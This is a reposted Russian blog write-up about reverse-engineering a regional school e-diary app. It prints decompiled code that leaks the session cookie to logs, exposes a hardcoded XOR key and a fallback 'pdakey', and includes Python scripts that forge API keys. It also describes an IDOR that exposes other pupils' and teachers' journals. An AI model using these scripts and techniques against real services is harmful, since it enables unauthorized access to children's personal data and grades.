000xpda или как я реверсил электронный дневник и нашел ключи в логах

МЕНЮ


Главная страница
Поиск
Регистрация на сайте
Помощь проекту
Архив новостей

ТЕМЫ


Новости ИИРазработка ИИВнедрение ИИРабота разума и сознаниеМодель мозгаРобототехника, БПЛАТрансгуманизмОбработка текстаТеория эволюцииДополненная реальностьЖелезоКиберугрозыНаучный мирИТ индустрияРазработка ПОТеория информацииМатематикаЦифровая экономика

Авторизация



RSS


RSS новости


2026-02-13 11:46

разработка по

Дисклеймер

Данная статья написана исключительно в ознакомительных и образовательных целях. Автор не поощряет взлом информационных систем. Исследование проводилось в рамках личного аккаунта для изучения протоколов передачи данных и автоматизации доступа к собственным персональным данным.Все имена, ссылки, ID изменены/удалены.

Предыстория: зачем?

Все началось с того, что в нашей школе внедрили новый электронный дневник. Дизайн в стиле «привет из 2015-го», медленная загрузка — типичный набор для государственного софта. Глядя на всё это, я подумал: если визуальная часть сделана так лениво, то что же там под капотом?

дизайн приложения
дизайн приложения

Погружение в .apk

Декомпилировав APK через JADX(я решил сразу заглянуть в код, а не снифить, чтобы не возиться с сертификатами), первым делом отправился искать механизм авторизации. Моё внимание привлек класс ESIAActivity. Как понятно из названия, он отвечает за вход через Госуслуги (ЕСИА) внутри встроенного WebView.

При анализе метода onPageFinished я обнаружил то, что заставило меня улыбнуться. Разработчики оставили в коде отладочный вывод:

@Override public void onPageFinished(WebView webView2, String str) {   String str2;   String cookie = CookieManager.getInstance().getCookie(str);   if (cookie == null) {       str2 = "";   } else {       str2 = "";       for (String str3 : cookie.split(";")) {         String[] strArrSplit = str3.split("=");         if (strArrSplit.length > 1 && strArrSplit[0].equals(" X1_SSO")) {           str2 = strArrSplit[1];         }       }   }   if (str2.equals("") || ESIAActivity.this.logged) {         return;     }     Log.d("X1_SSO", str2); // ! Очень важно     ESIAActivity.this.logged = true;     ESIAActivity.this.makeLoginRequest(str2);       }   }); }   public void makeLoginRequest(String str) {           ApiService.instance.loginEsia(str, Base64.encodeToString(Crypt.crypt_xor(str.substring(0, str.length() / 2)), 2), new Response.Listener<JSONObject>() {                @Override // com.android.volley.Response.Listener               public void onResponse(JSONObject jSONObject) {                   User.setLoginEntity(jSONObject);                   if (User.getLoginEntity().isSuccess()) {                       ESIAActivity.this.loginSuccess(User.getLoginEntity().getData());                       return;                   }                   ToastUtils.show(ESIAActivity.this, "Ошибка! " + User.getLoginEntity().getMessage());                   ApplicationData.clearCookies(ESIAActivity.this);                   ApplicationData.clearCache(ESIAActivity.this.ctx, 2);               }           }, new Response.ErrorListener() {                @Override // com.android.volley.Response.ErrorListener               public void onErrorResponse(VolleyError volleyError) {                   ToastUtils.show(ESIAActivity.this, "Ошибка! Неверный логин или пароль.");               }

Log.d("X1_SSO", str2); Cookie X1_SSO, через которую мы входим, логируется в системе!
Тут же вызывается функция loginEsia из ApiService

public void loginEsia(String str, String str2, Response.Listener<JSONObject> listener, Response.ErrorListener errorListener) {     HashMap map = new HashMap();     map.put("api_key", str2);     map.put("sid", str);     createRequest(this.journalsLoginUrl, map, listener, errorListener); }

А при анализе класса Crypt я обнаружил забавный момент: в коде присутствуют следы AES-шифрования, но по факту используется обычный XOR. Более того, ключ ru.vendor.schoolapp (название пакета) лежит прямо здесь, метод replaceChars, который должен переставлять символы для запутывания, работает вхолостую, не меняя итоговую строку:

public class Crypt {     private static Cipher cipher = null;     public static String encryptedGUID = "";     private static SecretKeySpec key = null;     private static String transformation = "AES/ECB/PKCS5Padding";      public static byte[] crypt_xor(String str) {         StringBuilder sb = new StringBuilder();         for (int i = 0; i < str.length(); i++) {             sb.append((char) (str.charAt(i) ^ "ru.vendor.schoolapp".charAt(i % 25)));         }         return sb.toString().getBytes();     }      private static StringBuilder replaceChars(StringBuilder sb, int[] iArr, int i) {         StringBuilder sb2 = new StringBuilder();         if (sb.length() < i) {             i = sb.length();         }         for (int i2 = 0; i2 < i; i2++) {             int i3 = iArr[i2];             if (i3 < i) {                 sb2.append(sb.charAt(i3));             }         }         return sb2;     }      public static byte[] hashString(String str) {         replaceChars(new StringBuilder(str), new int[]{2, 5, 1, 3, 10, 7, 8, 4, 9, 0, 14, 12, 11, 13, 6, 15}, 16);         StringBuilder sb = new StringBuilder();         for (int i = 0; i < str.length(); i++) {             sb.append((char) (str.charAt(i) ^ "ru.vendor.schoolapp".charAt(i % 25)));         }         return sb.toString().getBytes();     } }

API ключ создается так:

  • Берется первая половина X1_SSO.

  • Прогоняется через тот самый crypt_xor с ключом ru.vendor.schoolapp

  • Результат кодируется в Base64.

Получение куки и имитация логина

Я подключил свой телефон к пк, с включенной отладкой по usb, запустил adb logcat -s X1_SSO , перезашёл в свой аккаунт через Госуслуги, так как разработчики забыли убрать отладочный вывод в релизной сборке, сессионная кука просто выплевывалась в консоль.
Нашел в resources.arsc строку с api_url: https://mp.example.ru и эндпоинт "login_journals_url" : journals/login
Написал скрипт на python, имитирующий логин:

import base64 import requests import json  # Данные, которые мы добыли из реверса BASE_URL = "https://mp.example.ru" LOGIN_ENDPOINT = "/journals/login" XOR_KEY = "ru.vendor.mobileschool"  def crypt_xor(data_str):     """Реализация метода Crypt.crypt_xor из исходников"""     sb = ""     for i in range(len(data_str)):         sb += chr(ord(data_str[i]) ^ ord(XOR_KEY[i % 25]))     return sb.encode()  def login_with_cookie(x1_sso_cookie):     """Имитация метода ESIAActivity.makeLoginRequest"""     # 1. Берем половину куки для создания api_key     half_sid = x1_sso_cookie[:len(x1_sso_cookie) // 2]          # 2. XOR + Base64     encrypted_part = crypt_xor(half_sid)     api_key = base64.b64encode(encrypted_part).decode('utf-8')          # 3. Формируем JSON-запрос     payload = {         "sid": x1_sso_cookie,         "api_key": api_key     }          url = BASE_URL + LOGIN_ENDPOINT     headers = {'Content-Type': 'application/json'}          print(f"--- Отправка запроса ---")     print(f"URL: {url}")     print(f"Payload: {json.dumps(payload, indent=2)}")          response = requests.post(url, json=payload, headers=headers)          if response.status_code == 200:         data = response.json()         print("--- Ответ сервера ---")         print(json.dumps(data, indent=2, ensure_ascii=False))         return data     else:         print(f"Ошибка! Статус: {response.status_code}")         print(response.text)         return None

После имитации логина сервер возвращает массив данных о пользователе. Самое важное для нас здесь — SYS_GUID (уникальный идентификатор ученика) и SCHOOL_ID. Без них мы не сможем запросить расписание.

Скрытый текст

{
"success": true,
"system": false,
"message": "ok",
"data": {
"LOGIN": "СНИЛС",
"SURNAME": "фамилия",
"NAME": "имя",
"SECONDNAME": "отчество",
"EMAIL": "почта",
"CONFIRMATION": "NONE",
"CONFIRM_EXPIRATION": 0,
"SESSION_ID": null,
"SCHOOLS": [
{
"ROLES": [
"participant"
],
"SCHOOL": {
"SYS_GUID": "",
"ID": "",
"NAME": "школа",
"SHORT_NAME": "школа"
},
"GOVERNMENT": null,
"TEACHER": null,
"PARENT": null,
"PARTICIPANT": {
"SYS_GUID": "",
"SURNAME": "фамилия",
"NAME": "имя",
"SECONDNAME": "отчество",
"GRADE": {
"SYS_GUID": "",
"NAME": "класс",
"SCHOOL": {
"SYS_GUID": "",
"ID": "",
"NAME": "школа",
"SHORT_NAME": "школа"
},
и остальное

Из важного тут SYS_GUID, который понадобится далее.

Получение расписания

В приложении за это отвечает getSchoolDayRequest:

 public void getSchoolDayRequest(String str, String str2, String str3, String str4, Response.Listener<JSONObject> listener, Response.ErrorListener errorListener) {     HashMap map = new HashMap();     map.put("pdakey", str4);     map.put("apikey", str3);     map.put("guid", str);     map.put("date", str2);     createRequest(this.journalsDiaryDayUrl, map, listener, errorListener); }

У нас уже есть apikey, guid, дату сделать не проблема.
У меня ушло достаточно времени на поиск pdakey, я пытался его задать по эндпоинту url_set_pda: https://mp.example.ru/pda/setpdakey, где мне его благополучно не дали. Он также хранится в SharedPreferences, куда я не могу попасть без root доступа на телефоне. Самый смешной момент:

public void checkPda() {     if (User.getUser_pda().equals("") && ApplicationData.active_session) {         User.setUser_pda("000xpda");     } }

Вишенкой на торте стало то, что если приложение не смогло получить pda из SharedPreferences, оно ставит захардкоженную заглушку 000xpda, так я получил валидный pdakey.
Начал писать python скрипт для получения оценок:

import base64 import requests import json  XOR_KEY = "ru.vendor.mobileschool"  def generate_apikey(source_str):     """Генератор ключа по формуле из DiaryFragment"""     # Берем половину строки     half = source_str[:len(source_str) // 2]     res_chars = "".join(chr(ord(c) ^ ord(XOR_KEY[i % 25])) for i, c in enumerate(half))     return base64.b64encode(res_chars.encode('utf-8')).decode('utf-8')  def get_my_diary(guid, cookie):     url = "https://mp.example.ru/journals/school-day"          api_key = generate_apikey(guid)          headers = {         'User-Agent': 'Dalvik/2.1.0 (Linux; U; Android 13)', # маскируемся под приложение на телефоне         'Cookie': f'X1_SSO={cookie}',         'Content-Type': 'application/json',         'X-Requested-With': 'ru.vendor.mobileschool'     }      payload = {         "guid": guid,         "date": "2026-02-04", # дата на сегодня         "apikey": api_key,         "pdakey": "000xpda"    # найденная заглушка     }      print(f"--- Запрос дневника ---")     r = requests.post(url, json=payload, headers=headers)          if r.status_code == 200:         data = r.json()         print("ДАННЫЕ ПОЛУЧЕНЫ:")         print(json.dumps(data, indent=2, ensure_ascii=False))         return data     else:         print(f" Ошибка {r.status_code}: {r.text}")

Формула apikey из DiaryFragment: Crypt.encryptedGUID = Base64.encodeToString(Crypt.crypt_xor(User.getUser_sys_guid().substring(0, User.getUser_sys_guid().length() / 2)), 2);

Во время написания этого скрипта сервер часто меня не принимал и перенаправлял на страницу входа. В конце сервер все же сдался, и я получил расписание на сегодня в виде JSON.

Конечный продукт

На основе всего этого я создал телеграм бота, который позволяет получить расписание и оценки:

Расписание на 04.02.2026

  1. Алгебра ?? [ПР]
    ? 12:35 - 13:15
    ? Тема не указана
    ? ДЗ: №636(а,б)638(а)

  2. Обществознание ?? [ПР]
    ? 13:45 - 14:25
    ? Повторительно-обобщающий урок по теме «Человек в экономических отношениях»
    ? ДЗ: п. 19

  3. География ?? (5)
    ? 14:35 - 15:15
    ? . Контрольная работа по разделу "Природа России". Обобщающее повторение по темам: "Геологическое строение, рельеф и полезные ископаемые", "Климат и климатические ресурсы", "Моря России и внутренние воды"
    ? ДЗ: нет

Апдейт 1:

Как я стал учителем: найден IDOR

Продолжив исследование, я тыкнул в эндпоинт journals/get-journal с заданным guid журнала, полученным с домашкой. Думал, что сервер даст мне, с правами ученика, по рукам - а он открыл дверь и пригласил войти - мне выдали журнал класса со всеми guid и ФИО.

полученный журнал класса
полученный журнал класса

Далее я постучался в /journals/get-teacher-journals c guid учителя и, бинго, получаю все журналы учителя:

Так, зная guid журналов всех классов,я могу смотреть оценки всей школы без прав учителя

у моего друга 3 двойки за день)
у моего друга 3 двойки за день)

А где авторизация?

Решил проверить теорию: а что будет, если вообще не передавать куку авторизации?
Результат? Серверу абсолютно всё равно, кто я. Выяснилось, что защита всей системы держится не на авторизации пользователя, а на статичном 25-символьном XOR-ключе, зашитом в коде приложения. Если ты смог его вычислить (а мы это сделали в первой части), то для системы ты - свой.

Это Broken Access Control (BAC) и IDOR в одном флаконе. BAC, потому что сервер не проверяет роли (ученик может быть учителем).

  • IDOR, потому что доступ к данным идет через прямой перебор ID (GUID).

  • No Auth, потому что куки не нужны.

Наверное могу себе пятерок поставить, но это незаконно.

Итоги и выводы

Проведенное исследование API мобильного приложения показало, что безопасность системы строится на концепции «безопасность через неясность», которая в 2026 году уже не является эффективной защитой.

1. Технические итоги

В ходе реверса были выявлены следующие критические недоработки:

  • Хардкод в продакшене: Наличие заглушек для отладки (вроде pdakey: 000xpda), которые не были вырезаны перед релизом. Это позволило обойти проверку легитимности устройства.

  • Слабая криптография: Использование XOR с фиксированной солью, зашитой в коде. Любой декомпилятор вскрывает такую защиту за 5 минут.

  • Мертвый код: Наличие в классе Crypt неиспользуемых переменных для AES-шифрования и функций, работающих вхолостую (replaceChars). Это говорит о низком качестве контроля кода.

  • Отсутствие привязки сессии: Токен авторизации (X1_SSO) не привязан к «отпечатку» устройства (Fingerprint) или IP-адресу, что позволяет использовать его в сторонних скриптах.

  • Полный провал авторизации (IDOR/BAC): На стороне бэкенда отсутствует проверка прав доступа. Сервер отдает данные учителей и других учеников любому пользователю, знающему apikey.

  • Zero-Auth доступ: Обнаружено, что для получения персональных данных и журналов серверу не требуется сессионная кука (X1_SSO). Вся безопасность держится на статичном XOR-ключе, что делает систему уязвимой для автоматизированного сбора данных извне.

2. Практический результат

  • Создан легковесный Telegram-бот, который работает быстрее официального клиента.

  • Реализован парсинг вложенных структур JSON.

  • Найден способ обхода приватности: В ходе тестов подтверждена возможность получения доступа к журналам любого класса и предмета через перебор guid.

  • Потенциальный Write-Access: Выявлены эндпоинты для записи данных (выставление оценок), которые с высокой долей вероятности имеют те же проблемы с безопасностью, что и методы чтения.

3. Резюме

Этот проект — отличный пример того, как любопытство помогает решать бытовые задачи. Вместо того чтобы мириться с неудобным интерфейсом, я изучил внутрянку системы, перестроил её под себя и даже обнаружил фундаментальные проблемы в безопасности региональной образовательной платформы.


Источник: habr.com

Комментарии: